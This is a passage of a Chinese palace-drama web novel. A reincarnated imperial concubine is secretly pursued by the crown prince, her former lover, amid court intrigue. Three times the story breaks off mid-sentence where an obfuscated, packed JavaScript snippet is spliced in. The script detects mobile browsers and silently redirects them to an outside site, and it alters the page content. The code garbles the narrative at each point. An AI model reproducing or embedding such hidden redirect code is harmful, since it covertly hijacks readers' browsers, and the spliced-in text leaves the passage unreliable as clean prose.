要是半点也不喜欢,大可丢在一边任由她自生自灭,何必兴师动众,这般欲盖弥彰呢? “檀蕊,你从前在皇后身边服侍,大约也见过太子……和二殿下,陛下与两位殿下生得像吗?” 檀蕊耐着性子劝道:“好端端的娘子说起两位殿下做什么?” 沈幼宜理直气壮:“我只是失了宠,随便闲聊两句你就要烦我?” 檀蕊的眉心因贵妃跳脱的思绪都紧蹙起来,娘子这位庶母怎的这个时候还有心情关怀皇子:“奴婢怎敢顶撞娘子,只是一时心急罢了。太子殿下容仪俊爽、风姿朗然,虽说颇有几分陛下年轻时的神韵,却不会与奴婢这等下人交谈,二殿下容貌性情更肖皇后,生得端丽沉静,外人都说二殿下仁孝宽容,前些日子您常吃着的药便是他着人送来的,叮嘱奴婢好生服侍娘子。” 沈幼宜想起那常被自己偷偷倒掉的药,那药的味道记忆犹新,每次闻到苦得人太阳穴都要跳几跳。 越尊贵的人越能折腾自己的身体,她适应卫贵妃的身子时没觉出有什么毛病,天天喝那些苦汁子做什么? 却没想到这药却是二皇子送来的。 沈幼宜的眉头渐渐蹙紧,她记忆里的二殿下待她确实和善,举止有礼,即便是被她当作赴宴的公子,询问太子去处也不生气,只是看着身体不大好,肤色比她身边的女郎还白,容貌也更精致秀气,听说是从胎里带出的弱症。 他早便见过沈氏女,私下再和卫贵妃来往的时候便不觉得诡异么? 今上两位皇子,燕国公和卫氏一族更属意哪个她尚不清楚,但檀蕊是皇后送与卫兰蓁的掌事宫女,她常用的药又是二皇子悄悄命人送来的,卫兰蓁显然是与皇后一派相处更为融洽。 沈幼宜有几分心惊肉跳,但愿这位二皇子只是孝顺皇后的同时不忘关怀庶母,否则元朔帝要是知道他的嫔妃不单单是与二皇子勾结,夺了舍的魂魄却又曾是储君中意的娘子…… 她要是皇帝,非把卫沈两族都下了油锅不可! 提起陛下、皇后,乃至如今的困窘,贵妃总是一副神在在的模样,神情起伏甚至还不如提到两位殿下时的样子,檀蕊微微头痛,开口试探道:“娘子是想请二殿下为您说情?” 沈幼宜却躺了回去,恹恹道:“他们有什么用处,反正没人在意我的死活,那我就继续称病好了。” 檀蕊按下心底的急躁,正要再劝上两句,却见贵妃眨了眨眼:“太后仁心,我都病成这样了,少抄两卷佛经,也没什么大不了吧?” …… 风吹竹林,引来蝉鸣阵阵,翠竹苍劲,嫩叶沾了新雨的露珠,将滴未滴,在纱窗上印了一抹清爽碧影。 远处的内侍抬了冰鉴来,太子不着痕迹地擦了擦额上的汗,便是身为储君,每每至西内苑陪侍父皇演武,仍不免战战兢兢,如履薄冰。 随着贵妃得宠又失宠,这种敬畏演化为恐惧,如影随形,成为他头上悬着的一柄利剑。 元朔帝节欲止奢,并不是会为小事而轻易贬斥臣下奴婢的君主,圣人之心为天地之鉴,君主受天下养,不该沉溺于妇人,更不应以私情乱国政,处事严明,他身为长子自然更要一言一行都符合父亲的期许。 正因如此,即便父皇对他的妃妾数量并未明言限制,祖母和母亲也不满他子嗣稀薄,成婚五载,东宫至今也只有一位太子妃与两位良娣,侍妾通房不过三人。 而宜娘央求过他的事情他虽尽了力,可想了又想,几番斟酌,还是没有勇气同父皇开这个口。 谁料阴差阳错,曾与他日夜痴缠的宜娘改头换面,成为他父皇最为宠爱的卫贵妃。 父皇如今应当还不知卫贵妃的来历,可倘若哪一日心血来潮,又知晓了呢? 贵妃失宠之后,他几度想要派人去汤泉宫问询缘由,却都被看守的禁军挡了回来,与此同时,父皇御下却日渐严苛,即便是对待储君也不例外,前些日子只因他功课稍有懈怠,便毫不留情面,当着几位师傅的面痛斥一番。 父皇反常的举动,不得不让他联想到宜娘身上——或许父皇已经知晓了他与卫贵妃从前的私情,只是碍于皇室颜面,不好宣扬家丑,却又亟待发作。 这样的猜测似殿檐的冷雨,一点一滴、日复一日,砸在他胸口,萦绕魂梦,沉重得人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583269|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快要喘不过气来。 他有几回甚至恨不得主动向父亲开口,哪怕天子雷霆震怒,也是一种解脱。 羽箭离弦,一声鸣响破空,铁尖嵌入步靶,仅离靶心寸许,力不透皮,惟留余音铮铮。 这已是他第四次射偏,哪怕微微脱力,可同耦的父皇尚不见疲态,他正值年少,更不敢停手,只是担忧会惹来父亲斥责。 元朔帝并未开口,内侍奉了数枝铁箭在侧,他凝神聚势,身姿挺拔稳健,搭弓如满月,仿佛衔羽在口,甫一离弦,箭矢携万钧破竹之力,其首穿心而出,只留尾羽深深没入那点殷红。 不待侍者更换靶子,元朔帝已另取一箭搭弓,他连珠疾发,箭锋数次劈羽,竟是首尾相嵌。 直到第一支箭矢落地,元朔帝才停手。 太子有几分羞惭,却更添了几分惴惴不安,见元朔帝将巨弓置于案上,才敢开口赞叹:“阿耶神力,儿子望尘莫及。” 他听闻父皇虽有箭穿七札、弓贯六钧之力,然而今上是自矜的人,周礼曰射不主皮,平日与臣下宗室比试骑射,皇帝很少以射穿皮革来夸耀气力,方才羽箭连发,疾如闪电,倒好似是与谁沙场搏命、仇雠相见,更像是一种无言的宣泄。 “人各有短长,你又何必自谦。” 元朔帝瞥过自己的长子,太子生长于宫廷之中,并未见过多少残酷,即便因为骑射而鬓发尽湿,也仍是容貌皎洁鲜丽的少年郎君,近二年性情又沉稳了许多,有几分人君气度。 他已荡平宇内、一统山河,继任的君主毕竟是他的血脉,为人君父,即便对储君期许甚高,也不希望长子如自己当初一般艰辛,甚至样样都需胜过自己。 太子长舒了一口气,他含笑认错:“儿子回去必定勤习射礼,每日师傅讲过书,便和侍从练习箭术。” 陈容寿奉了两盏茶来,元朔帝接过,沉思片刻道:“朕记得你府里早年就有几个善射的郎君,其中似乎有一个姓萧的。” 太子面色倏然一变,陈容寿含笑接口道:“回陛下的话,奴婢记得是有一位萧彻萧郎君,做过殿下伴读,其父陵阳侯早逝,萧郎君便承袭了父爵……” 四周忽而寂了,陈容寿忽而意识到自己说出何等惊人之语,慌忙伏地求饶:“奴婢失言多嘴,还请陛下责罚!” 元朔帝面上稍有不悦,却漫不经心望向太子:“你以为故陵阳侯如何?” 太子面上的笑意微僵,萧彻三年前就已经沙场阵亡,当时父皇体恤萧氏无后,特意命远房旁支过继了一子认萧彻为父,承继香火,教他生荣死哀,不过这个名字在宫中已经成了心照不宣的忌讳,许久没有人提起。 ……谁人不知,当今圣上新纳的嫔妃卫氏卫兰蓁曾是陵阳侯夫人? 然而陈总管的话并不错,东宫属臣之中,并无第二个萧郎君善射。 好端端的,父皇问起宜娘的前夫做什么? 5. 第 5 章 元朔帝见太子迟迟不答,眉头不易察觉地一蹙:“子惠?” 同儿子谈论妃妾的亡夫,这原本就是一件难以启齿的事情。 嫔妃入宫前是否许过人家,本就不是什么要紧的事情,那些过往已成云烟,细究起来不过是给自己寻不痛快。 元朔帝没有自寻烦恼的习惯,更不欲与臣下比较短长,然而他近来越是克制己身,这些可笑的念头反而越发根植于心,挥之不去,非要细究根底才会平息。 太子忙道:“阿耶一时问起,儿子竟有些记不清了,只记得萧侯年少失怙,早袭爵位,他仗着自己箭术高超,便有几分桀骜不驯,屡屡闹出事来,几位侍读之中,师傅们最不喜他,因此常受申饬,但他作战英勇,不幸早亡,儿子也极为惋惜。” 他想起被那人剑锋抵喉的寒意、宜娘翻脸无情的决绝,神情虽然不显,语气却稍重了些:“不过事后也有人曾向儿子说他私藏甲胄,出入宫闱却袖怀利刃,似有不轨之意,只是逝者已矣,这些事情儿子也无心再去细查。” 元朔帝定定看向自己这个儿子,忽而一笑:“朕记得你从前与他是极要好的。” 萧彻与太子是少年相识,从前朝中用人,太子也常举荐,即便是瞧在这份少年相伴的情谊上,也不应在他面前提这些没影的事,除非…… “朕虽纳了他的遗孀,自问也并无可愧之处,你何必多心。” 元朔帝起身,缓缓开口:“今日不过是触景生情,念起他父子昔日追随朕南征北战,有几分感慨罢了。” 太子面上一黯,再想一想萧彻,心底却被勾起几分怒来。 若不是太子妃设计,他和宜娘便不会生分,萧彻更不会英年早逝。 他本以为萧彻一死,宜娘无子嗣可依傍,在萧氏族人逼迫之下又会转投自己怀抱,可世事难料,她竟成了父皇宠爱的姬妾,连他也要客客气气叫一声母妃。 陈容寿瞧着太子神情似有几分古怪,心下微微诧异,正欲开口,然而远远瞥见一抹身影,悄悄退至门外嘱咐了几句,才低声道:“陛下,贵妃身边的宫人求见。” 太子心神一震,他勉强笑了笑:“既然是卫母妃有事,儿子便先行告退。” 元朔帝不置可否,太子行了一礼,躬身退下。 一个面生的丰腴宫人侍立廊下,正被引入内苑,太子的目光在她身上掠过,因是贵妃身边的侍女,还是多看了几眼。 太子心下微动,含薰是他送到私宅服侍沈幼宜的,被送回内廷后被母亲拔了舌封口,他猜测过宜娘的心意,辗转反侧几夜,却又不敢笃定。 可没想到,哪怕失宠近四月,待他冷傲倔强的女郎,最后还是小心翼翼地派人过来,几次试探他父皇的心意。 任凭再怎么凑巧,他都已在太极门外见过三回等候的汤泉宫侍女。 不过父皇对待后宫一向宽容,宫妃失宠后大多难以再获圣恩,他虽然不知道贵妃到底是哪里惹恼了父皇,却也生出几分怜惜。 她独自待在冷宫一般的汤泉宫里时,有没有想过从前两人在私宅里就算吵得再狠,他又何时舍得冷落她这般久? 何禄兴见太子面容颇有倦色,小心道:“殿下,太子妃娘娘知晓您今日入宫演武,特意叮嘱奴婢,请您去修媛处问安……修媛生了好大的气,差人来东宫责问过几回。” 太子抬手揉了揉眉心,稍有几分烦躁,太子妃家世不过比沈家稍好些,容色也不出众,他不明白母妃为何一直厌恶宜娘,反而与这个儿媳相处融洽,这遭知晓他的心思,怕是又要大发雷霆。 果不其然,他才到仙居殿,还未撩袍行礼,就见母亲冷冷笑了两声:“怎么这副模样,是为你那心肝儿来兴师问罪?” 杨修媛早年是极艳丽明朗的长相,虽然不通诗文,却别有风情,只是相随心变,多年岁月蹉跎,只在这张美人皮上留下了怨怒与刻薄的痕迹。 她年少入侍东宫,先一步产下长子,本是风头无两,谁知许多年过去,竟还只是九嫔,近些年来脾气越发急躁,只有对着自己的儿孙还有几分温和怜爱的神情,今日对着太子却也摆不出什么好脸色。 太子默了默,虽知杨修媛是气得狠了,可他辩无可辩,也不想分辩什么,跪下闷声道:“儿子不敢惹阿娘生气。” 杨修媛阴沉着脸,吩咐侍女都下去,才劈头盖脸斥责道:“你真是被猪油蒙心了!姓沈的妖精给你灌了迷魂汤不成,你父皇与我为你选的太子妃不喜欢,偏把精气都耗在她身上,如今还巴巴捡你父皇不要的旧靴子穿,我瞧你是疯了不成!” 沈幼宜入宫后,她着实气倒了一阵,好不容易眼前清静些,那小贱人却又在她面前挑衅,炫耀与太子的私情。 她何止要拔含薰的舌,恨不得冲到汤泉宫去,连那狐狸精的舌一道拔了才好! 太子低垂着头,他对待母亲一向如此缄默温顺,阿娘只要出过气,反过来还会心疼他。 可今日不知是被父皇的箭术所激,还是想起少年相游的萧彻,心头的那口气倏然升至咽喉,压也压不下去。 自他出生始,好似便有一层无形的枷锁罩在身上,所有人都要他规行矩步、仁孝宽和,一言一行符合元朔帝的喜好。 就因为他不是皇后所出,生母又早早失去天子宠爱,要不是二皇子生来体弱,这个太子的位置还轮不到他头上,所以他一定要争气,博得父皇喜爱,令群臣敬服,他坐这个位置是当之无愧。 哪怕连太子妃的人选也由不得自己,可他幼年便是一人之下万人之上,还有何可抱怨? 只有宜娘、柔媚又刁钻的宜娘是他自己中意的,她漂亮狡黠,时不时来撩拨他,情到浓处又反身咬他一口,他有时恨她不驯服,又舍不得那蜜糖一样的温柔,只能暂时将她藏起来,不敢令她有孕。 可偏偏母亲容不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583270|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她,太子妃明着大度,私下竟设计将她送与萧彻为妻! “阿娘,她秉性柔弱,又不知宫中私刑残酷,怎么经得住您这样一吓!” 血涌到脸上,人反而平静下来,太子慢慢抬起头,直视杨修媛错愕面容,尽力克制住自己的语气:“您说她是名册上销了户的罪臣之女,一旦被父皇知晓,必然连我和外祖家也一并牵连进去,儿子也听从了,您说要我与妃妾生儿育女,如今儿膝下也有一子二女,如今不过是惦着她在外吃苦,难道心里头念一念、想一想也不成吗?” 他常常懊悔,倘若他们之间有一个孩子,无论男女,宜娘看在孩子的份上,也不会如此决绝地离他而去。 杨修媛瞠目结舌,她俯视着自己的儿子,却被那咄咄的目光逼得一颤,声音反而低了下来,斥责他道:“子惠,那是你父皇的女人,就算你父皇厌了丢了,也轮不到你想!” 沈家那个妖精自从成为燕国公的女儿,就与椒房殿勾缠到了一起,皇后盼着她多吹枕边风,把太子拉下储君的位置,可自己的儿子却反而还惦记着她,简直是可笑至极! 太子轻笑了一声,阿娘从来都是如此,若察觉到他有反叛的苗头,就要抬出父皇来压制。 他是一人之下,可头顶却还有一片天,即便离那个位置只有一步之遥,也如山之高。 左右母亲已经知晓了他的心思,太子也不欲掩饰:“宜娘先是我的女人,而后才是父皇的妃子,要说不该,也是父皇不该纳她,怎么反倒是儿子僭越!” 他将这份心思深埋心底,却也真想知道,若父皇知晓所谓的卫贵妃原是与长子恩爱过的女郎,他可还会染指半分? “放肆!” 杨修媛怒气冲冲几乎想要伸手,目光落到他的赭袍上,还是强压下来,抚着心口,咬牙切齿道:“沈氏同你的事情早就过去了,总惦记着她做什么!阿娘知道那几个妃妾不大合你的口味,不过是怕你父皇不喜,等来日你……就是纳一二百嫔妃,谁又敢说些什么?” 天子应有一百二十一御妻,元朔帝在东宫时只有一妃二妾,即便做了二十年天子,即便偶有新人入宫、妃嫔病逝,内廷中常在的也仅有九人,直到那个狐狸精入宫才打破这不成文的传统。 等她的儿子坐拥内廷春色,又岂会记得委身过先帝的沈氏? 太子面色沉沉,态度却仿佛松动些许:“但愿如阿娘所言。” 宜娘自以为抓紧父皇便能彻底甩开他,可再等五年、十年,甚至二十年,他坐到那个位置上去,她也能躲开么! 何禄兴守在殿外,隐约听到内里天家母子的争执,不免心惊肉跳,见太子离殿时怒气未消,忙匆匆跟了上去,暗替太子妃叫了一声不好。 然而太子自长乐门出,却过东宫而不入,策马疾奔,何禄兴瞧了瞧,似是去汤泉宫的方位,暗自叫苦不迭。 这还不如回东宫去呢! 6. 第 6 章 汤泉宫以地下温泉众多而得名,先帝在时引九泉合渠,筑九曲流香廊,绕山流下。 烟波渺渺,云雾漫漫,拱卫恢宏的殿宇楼阁,其中偶有美人泛舟戏水,撒桃花胡麻为乐,如一座山中的蓬莱仙洲。 沈幼宜是喜欢热闹的人,她玩弄池中凫水的彩绣木鸭,半身从水中撑起,懒洋洋靠近木舟,仰头衔住檀蕊剥好递来的葡萄。 绾起的青丝不知何时垂落下来,经水一浸,随着透明的寝衣紧紧贴在身前,鬓发丝丝缕缕,蜿蜒在她颊侧,勾勒出一片秾艳风情。 她是一尾湿漉漉的妖,天真散漫,无拘无束,对自己的美貌一无所知,跃上扁舟,与船女搭讪,只为尝一尝人间的果实。 过于丰沛的葡萄汁水顺着手指滴入她唇齿间,甜津津的引妖一吮,檀蕊的心也为之颤了颤。 沈幼宜瞧她神游天外,笑了笑道:“你在想什么呢?” 她笑时容眸流盼,当真光夺人目,檀蕊失神了片刻,才慌乱用丝缎擦过手指:“奴婢是在想,该说些什么笑话逗娘子开怀。” 光洁的丝绸干爽柔滑,触感细腻,不过随手一拭,却愈发酥酥麻麻起来。 沈幼宜含笑瞥她:“你还要我怎么高兴?” 檀蕊悄悄观察着贵妃的神情,她出身高门,生得明艳无方,压倒内廷,合该被人捧着哄着,也有没心没肺的底气,即便远离天子,尚有力气在这寂寥行宫中寻自己的乐子。 可这个寻求快活的美人每每揽镜照水时,似乎都会有几分讶然,倒不是惊叹自己的美貌,只是很迷茫惆怅。 ……像是中邪了一样,低声自言自语:“世间真有可以生得如此相像的两个人么?” “奴婢是怕娘子把事情都憋在心里,反倒不好。” 檀蕊低眉道:“虽说天气热,娘子也不能在水里泡太久,万一生出病来可怎么是好?” 沈幼宜却别开头去,她是孤魂野鬼,享受了卫贵妃这具身子带给她的富贵荣华,前世的事情已经如烟消云散,侍奉太子的父亲是应当的,可一旦回到元朔帝身边,便要打起一万分小心,怕不能瞒天过海、怕晓得父兄的噩耗,也怕……哪里还会有汤泉宫里的逍遥快活? 她紧紧捂住耳朵,可挡得住檀蕊的唠叨,园外那升高了几分的男子声调她就是想装作听不见也不成。 “你们是谁,也敢挡孤的去路?” 清越如金玉之质,盛怒急切仍不掩威仪,就是太过熟悉,仿佛是她幻听。 沈幼宜面色一变,太子怎么会突然出现在这里! 外男的声音传来,原本陪侍贵妃玩闹的宫人们顾不得紧贴在自己身上的湿衣,慌慌张张跳到岸上,拉起十丈见长的锦帷,将沈幼宜遮得严严实实。 几位贴身服侍的宫人搀扶沈幼宜到岸上,取来簇新的襦衣罗裙服侍她换好,只有沉甸甸的发丝一时擦拭不干,只能取了数根檀木簪牢牢绾住。 沈幼宜心咚咚跳了一会儿,由着她们手忙脚乱地伺候完,瞥见手持铜镜中的倒影,忽而心下定了定,生出几分啼笑皆非的荒谬感。 她见识过太子提及父皇时的崇敬与向往,孺慕之情溢于言表,对待皇后与几位庶母无论私下如何想,面上都挑不出错来。 他不过是尊贵惯了,被人拦住自然不高兴,倘若他知晓他父皇的嫔妃在此处沐浴玩闹,难道还敢硬闯进来? 就算两人生得很像,可卫贵妃又不是她……他怎么敢把对她的手段用到庶母身上? 沈幼宜向尽头望去,守园宫人的声音断断续续传来,争执的声音低了下来,虽不出人意料,却有几分失望。 尽管瞧不见太子的身影与神情,可她当真想见识一番,往日的情郎面对卫贵妃时会如何作想。 檀蕊劝道:“娘子,此处人多嘴杂,真要争执起来,您如今仪容不整,这瓜田李下,还不知道传出去会成什么模样,不如……” “殿下是知礼的人,又是我的小辈,知道咱们在此处一定会避开,何至于如此冒失。” 沈幼宜不为所动,反而提了裙裳施施然坐到木舟上,要人去召女伎乐师沿岸奏乐,扬起下巴道:“天底下难道有长辈谦让小辈的道理吗?” 被太子一搅,原本游玩的兴致早就没了,甚至还生出许多不舒服来。 园子什么时候都能逛,别说卫贵妃没儿没女,就是有儿有女,他们母子日后也仰仗太子给一口饭吃,偶尔给未来的天子溜须拍马也没什么。 可今天她一点也不想让。 从小到大,在外男面前都是她在避让,好像她这个人很拿不出手似的。 沈家的风气并不那么保守,从小她的堂姊妹们可以躲在屏风后,小声议论拜访父兄的男客。 可轮到她到了谈婚论嫁的年纪,每每被阿兄发觉,都会暂时与客人告个罪,亲自捉住她手臂带回内宅,告诫她女子要矜持自重,不许她随意见客。 后来太子瞧中了她,连几个月的工夫也耐不住,不顾宫规森严,婚前也要她打扮成宫女溜出来,方便二人私下相会。 可有几次险些被人撞破,太子都会下意识将她藏匿起来,说是怕坏了二人的名声……却又舍不得这份近乎偷/情的刺激,一月里总要来见她两三回。 那时她以为名分不久后便会有的,可太子的女人只会一日比一日多,既不能太顺着他,又不好将对方惹恼,十回里面总有四回推脱不掉。 不过此一时彼一时,管他储君不储君的,沈幼宜不无恶毒地想,皇帝可不止太子一个儿子,他能不能当上天子还不一定呢,当上了也是几十年后的事情,反正她把杨修媛都得罪了个干净,今天就是要叫他碰一鼻子灰! 檀蕊低低叹了一声,燕国公是与皇后与二殿下更为交好,可贵妃在这一点上似乎更甚,全然不顾杨修媛和太子的颜面。 只是……她心底浮起一丝疑云,汤泉宫毕竟是皇帝冬日避寒的居所,平白无故的,太子殿下怎么会出现在行宫? 琵琶女斜坐在坡上,勾拨娴熟,不过几下,空灵舒缓的乐曲就从她纤长灵活的指下流出,遥远的山亭后有琴箫钟鼓相和,流水淙淙,管弦铮铮,沈幼宜索性仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583271|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒在船上,只叫一个健壮年轻的宫人撑舟,作随波逐流之乐。 两岸树影悠悠,红英如火,并不十分强烈的日光叫人昏昏欲睡,沈幼宜的眼皮有几分沉重,直到一片凉荫彻彻底底遮住她整具身子。 船慢悠悠地停了下来,漾开一层层水波。 沈幼宜才在暖融融的温泉中浸过身子,轻轻打了个冷颤,心底生出几分不悦,正要睁眼唤人过来替手,目光才落到那宫人身上,却似被人泼了一盆冷水,来不及细思前因后果,立时手脚并用地站起身来! 木舟停泊在假山的背面,忽而剧烈地摇摆起来,惊起鸟雀无数。 久别重逢,太子想过许多宜娘睁眼时的场景,或是惊讶欣喜、或是眼含热泪,与他哭诉这些时日受到的委屈惊吓,甚至是指责他当日不肯出头,在父皇面前承认两人的一切…… 却没想到她清醒过来,第一件事情就是夺桨! 而后毫无章法地向他打来! 太子侧身躲过一击,径直伸手捉住她手腕忽的想起西内廊下那道宫人的倩影,心下微微一冷。 他来来回回地想法子,又奔波数十里,甚至被迫打扮成内侍的模样,心里如何能痛快,可见到宜娘发肤润泽,颊边微红,像一枝沾了朝露的牡丹,全然可以想见美人新浴的娇俏活泼,那分愁苦与不快烟消云散。 若不是宫内有无数双眼睛盯着、那些安插在昭阳殿的心腹几乎全部被父皇杖毙,他也不必想出这么个法子与她相见。 可他也是习武的人,方才那一下分明是下了狠手的! 她得罪了父皇,可以一而再再而三地去哀求,可轮到他身上就只剩狠心。 是他还未登至尊之位,够不上她放低身段,还是……她这几个月转了性子,真心实意地爱上了他的父皇,不但逐回了含薰,连私下见他一面也不愿意? 双手被男子反剪,攥在一处,宽厚的胸膛浸了泉水,又湿又重,偏偏他臂膊如铁,几乎将她按揉成一块面团,嵌入他肌肤血肉,被迫一同感受这沉闷的潮意。 沈幼宜被迫倚靠在他肩窝,胸口被压得一阵阵疼,她大喘着气,尚惊魂未定。 她第一眼只当是做了个噩梦,回过神来才发觉还不如噩梦! 沈幼宜早就已经死了,她不再是与太子相好的女郎,可那不加掩饰的眼神她再熟悉不过……没有侍奉长辈时的恭敬与温良。 是男人对女人的欲/望,一只野兽悄无声息地靠近猎物,他居高临下地俯视着她,心里跃跃欲试,不知谋划了多少回如何享用。 一个正常的儿子会费尽心机穿上内侍的衣服,会只为和衣冠不整的庶母私下见面吗? 是贵妃耐不住寂寞,相比坐拥天下的元朔帝更爱少年英气的储君,还是她去世这几年里,太子酒色放/荡,平常的妃妾不能满足他的欲,竟把主意打到与自己容貌相似的贵妃身上,逼迫她就范? 一个更糟糕的念头浮上心头……原身失宠的原因该不会是被皇帝知道了二人的私情,元朔帝舍不下脸面处置太子,只能把她放逐到行宫来? 7. 第 7 章 这个念头在她脑中转瞬即逝,卫氏一族还没有显赫到权倾朝野的地步,她到汤泉宫已过数月,足够体面地“病亡”。 卫贵妃第一位丈夫是太子从前的密友,她只见过陵阳侯几次,印象不算太好,不过陵阳侯固然有几分出格,可骨子里的傲气绝不像是那种把妻子献给贵人玩弄的小人。 原身要是早与太子暗中往来,丧夫后太子大可直接礼聘她做东宫良娣或昭训,何至于要冒着被废的风险和元朔帝的嫔妃私会? 是觉着储君的位置太稳了么? 沈幼宜沉下脸,低声呵斥道:“还请殿下自重,您是陛下的儿子,同本宫私下拉拉扯扯,被人看到像什么样子!” 她早几年和太子好无妨,晚几年……说不定也成,但现在和太子相好非但拿不到半点好处,还有可能陷入牢狱之灾! 偷来的光阴不易,美人在怀本该旖旎温存,她却不住挣扎,呼吸也变得急促起来,热息胡乱喷洒在颈间,轻柔缠绵,在甜蜜时是情人之间的把戏、是风月帐里别样的刺激,可如今她面上的厌恶却全然不像作伪。 太子牢牢攥住她的手腕,明明知晓她已入彀中,再怎么挣扎也不过是徒劳无功,可她的手掌却似狠狠捏住他的心,毫不留情地扯动着四经八脉,连呼吸都是痛的。 血液沸腾起来,他抱住她一动不动,声音压低了些,却止不住颤:“宜娘,宜娘!你怎么能与我这般生分!” 他为了来见她,不知背了多少风险,用了多少心思,可她却只认是他庶母! 这声音饱含痛楚,他毕竟生得俊美,人又年轻,为情所困时很有几分清隽动人的意味,若是沈幼宜自己的身子,哪怕对情郎满怀算计,也早就忍不住软下语气,顺着台阶哄一哄他。 可他称卫贵妃什么?! 太子见她安静下来,人却变了面色,自悔失言,缓和了些才艰难开口,轻轻叹了一口气道:“阿臻,你还在怪我么?可宫禁森严如此,一旦阿耶知晓,你我都死无葬身之地……可你怎晓得我有多想你?” 富贵显达了的人最厌恶旁人提及卑贱时的过往,宜娘是喜欢权势、讲究排场的人,她有了新的身份,恨不得彻底将那些见不得光、被人欺负的日子抹去。 偏偏他二人之间的旧情与她受苦受难的岁月纠缠在一处,如今她享受着父皇妃子身份带来的尊荣地位,旧情提多了反而要恼。 可父皇就算是天子,在做丈夫上也有许多不如他的地方。 太子想到此处,声音放柔和了许多:“你听我说,阿臻,我来这里是奉皇祖母的旨意,旁人知道我来也想不到旁处去,我知你怨我恨我,可我总归是一心待你的,父皇享天下已久,什么新鲜不曾见过,对你说弃就弃了,日后一旦山陵崩,他可会记得给你留一条生路?” 一旦君主病逝,无论生前多么威震四海,死后也终归尘土,她届时除了新君,还能向谁寻求荫蔽? 他落泪时眼眶泛红,姿态放低许多,一个一人之下、万人之上的男子这样低声下气地待她,几多惆怅,几多寂寥,情人呢喃柔情的低叹如情丝不断,却像一道道响雷炸响在沈幼宜耳畔。 “你再耐心忍一忍,给我十年、或者五年,我一定给你一个名分!” 太子咬了咬牙,父皇还在世,这样说未免过于大逆不道了些,话一出口,连他自己的心也颤了颤,可在宜娘的面前,他全然不用遮掩,也更不想令她失望,还是坚定了语气,握住她的双臂。 “父皇能给你的一切,我只多不少。” 沈幼宜低下头去,挣扎的力道也弱了下来,她以为她能抛开名节去引诱太子就已经算得上不知廉耻,但太子居然连他父皇的妃子也敢勾引私通,还要她等上十年? 她唇角扯了扯,太子瞧不见那些似笑非笑的讥讽,只抓住这难得的机会不断安抚自己的庶母……兼情人。 可他不觉得这话多少有几分熟悉么? 五年前的沈幼宜,听过同样的话。 还是他对哪个偷来的女子都这般言辞? 他许过的诺原来这么多,这么轻飘飘,似空中楼阁一般诱人心动,而她竟也信以为真,将希望寄托在他身上。 太子见她安静了许多,低头死死咬着唇,几乎要将唇瓣咬破了,刚要伸出手抚一抚那抹朱色,却被她恰好寻到时机挣脱,远离寸许。 他缩回了手,目光深了几分,并不恼怒,无论宜娘怎么躲她,他们始终都在一条船上,她五年前义无反顾地踏了上来,现在还下得去么? “本宫已经是贵妃了,日后就是太妃,殿下还能给我什么?” 沈幼宜抬起头来,忽而凄然一笑:“殿下有妃妾、有儿女,如今有,日后只会更多,您难道要我三四十岁还要顶着妖妃的骂名和一帮新入宫的小姑娘争宠?” 她声音悲切可怜,太子也有几分动容,不等沈幼宜开口,急切道:“阿臻,我心里只有你一个,那个孩子并非嫡出,即便他是那个贱人生的,一旦我做了主,他也不再是了!” 沈幼宜不过是借机想拿元朔帝来震一震他,趁机与他一刀两断,却不料太子能说出这么一番话来,眼睛都惊讶得睁大几分,语无伦次道:“那你生他出来做什么?” 她的心乱得很,就算那位太子妃他不喜欢,可虎毒不食子,太子的孩子年纪应该不算大,大概连路都不会走,做父亲的就能狠心到这种地步吗? 太子勉强压抑住心底出格的念头,柔声道:“是东宫需要一个太子妃、父皇想要一个皇孙……可我不需要。” 正当盛年的储君需要生育,太子不敢想象倘若这个儿子出自太子妃腹中,他是否会纵容宜娘日后杀死这个孩子。 ——甚至他为了教心爱的女子回头,亲手扼死襁褓里的婴儿呢? 宜娘入宫之前,父皇对待妃妾一向无所偏爱,没有子嗣的嫔妃们享受着应有的荣华,也要遵守宫规,一应服饰仪仗不许僭越品级,私下即便斗得再狠,也不敢闹到父皇面前。 可他不一样,他为了保全储君的贤名,已经失去过宜娘一次,一旦做了天子,断不会舍得再委屈她,不要说一个贵妃的位置,就算是皇后和太子的位置,又怎会舍不得给呢? 太子不敢想日后若他们二人有了孩子,他能不能做一个像父皇那样的严父,他扯下腰间的玉佩,硬塞到她手中,目光湛湛,亮得惊人:“阿臻,你还不明白我的心意吗?” 他们还年轻,来日方长。 手掌被他包裹起来,被迫握住那枚 